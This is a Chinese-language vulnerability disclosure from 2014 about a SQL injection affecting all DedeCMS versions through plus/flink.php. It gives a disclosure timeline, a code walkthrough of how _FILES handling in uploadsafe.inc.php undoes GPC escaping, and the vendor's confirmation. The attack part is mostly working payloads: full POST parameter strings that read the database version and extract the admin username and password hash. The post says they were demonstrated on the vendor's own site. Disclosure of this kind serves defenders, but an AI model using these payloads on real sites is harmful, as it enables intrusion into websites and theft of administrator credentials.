DedeCMS全版本通杀SQL注入(真正的无任何限制附官方测试结果)

漏洞详情

披露状态:

2014-02-25: 细节已通知厂商并且等待厂商处理中
2014-02-25: 厂商已经确认,细节仅向厂商公开
2014-02-28: 细节向第三方安全合作伙伴开放
2014-03-07: 细节向核心白帽子及相关领域专家公开
2014-03-17: 细节向普通白帽子公开
2014-04-06: 细节向实习白帽子公开
2014-05-26: 细节向公众公开

简要描述:

最近很多人刷dedecms的漏洞,个人表示很无语。
粗略看了下,这些洞存在太大限制
一句话总结:只要会员中心一关,全部没法用...
试问现在哪个傻子会开会员中心... 默认都是关闭的,所以哪...
今天这个洞,无视会员中心,无视GPC,会员中心,GPC你哪凉快 哪呆着去,默认安装就能利用哦...
也一句话总结:架构问题才是真问题。

(ps:调皮一下^-^,felixk3y某见怪,话说这个漏洞跨越了多个版本,不知会不会打雷。)

详细说明:

首先,我们来看看dede重要文件 common.inc.php

这里开始过滤得很完整,往下看

//转换上传的文件相关的变量及安全处理、并引用前台通用的上传函数

if($_FILES)
{
require_once(DEDEINC.'/uploadsafe.inc.php');
}





我看再看:uploadsafe.inc.php

//29行
$$_key = $_FILES[$_key]['tmp_name'] = str_replace("\\\\", "\\", $_FILES[$_key]['tmp_name']);



看到这里,我笑了。

这不是能绕过 GPC的节奏么。



好吧,随便找一个能添加数据的地方

于是找到了

plus\flink.php



虽然都经过 htmlspecialchars

我们看看:

htmlspecialchars(string,quotestyle,character-set)





可选。规定如何编码单引号和双引号。

ENT_COMPAT - 默认。仅编码双引号。

ENT_QUOTES - 编码双引号和单引号。

ENT_NOQUOTES - 不编码任何引号。

默认情况下仅编码双引号。



这里不是重点,不过也是能利用的条件之一,用于绕过dede自带的ids。

构造webname 值为:

&_FILES[webname][name]=1.gif&_FILES[webname][type]=image/gifx&_FILES[webname][size]=10&&_FILES[webname][tmp_name]=pass\





这里解释一下,经过GPC后 webname 变为 pass\\

经过刚才 uploadsafe.inc.php 的函数后

webname 变为 pass\



插入到SQL语句中就变成了

INSERT INTO `#@__flink`(sortrank,url,webname,logo,msg,email,typeid,dtime,ischeck) VALUES('50','http://','pass\','





即吃掉了后面的 ' ,从而实现绕过GPC。

不过ExecuteNoneQuery不支持错误回显,那我们就构造好,让他显示出来吧。于是后面的logo函数就变成:

logo=,if(@`'`,0x7c,(select version())),1,1,1,1,1)#,@`'`



ischeck 为1即绕过审核,结果直接显示出来。



完整参数为:

查版本:

Submit=%20%E6%8F%90%20%E4%BA%A4%20&dopost=save&email=&logo=,if(@`'`,0x7c,(select version())),1,1,1,1,1)#,@`'`&typeid=1&url=http%3A%2F%2F&validate=spen&_FILES[webname][name]=1.gif&_FILES[webname][type]=image/gifx&_FILES[webname][size]=10&&_FILES[webname][tmp_name]=pass\





查密码:

Submit=%20%E6%8F%90%20%E4%BA%A4%20&dopost=save&email=&logo=,if(@`'`,0x7c,(select concat(userid,0x7c,pwd) from dede_admin limit 0,1)),1,1,1,1,1)#,@`'`&typeid=1&url=http%3A%2F%2F&validate=spen&_FILES[webname][name]=1.gif&_FILES[webname][type]=image/gifx&_FILES[webname][size]=10&&_FILES[webname][tmp_name]=pass\





验证码字段自己修改。。。

漏洞证明:

1.jpg



2.jpg





官方测试地址:

http://help.dedecms.com/plus/flink.php

111.jpg

修复方案:

调整架构!

版权声明:转载请注明来源 kobin97@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2014-02-25 13:10

厂商回复:

已经修复

最新状态:

暂无


漏洞评价: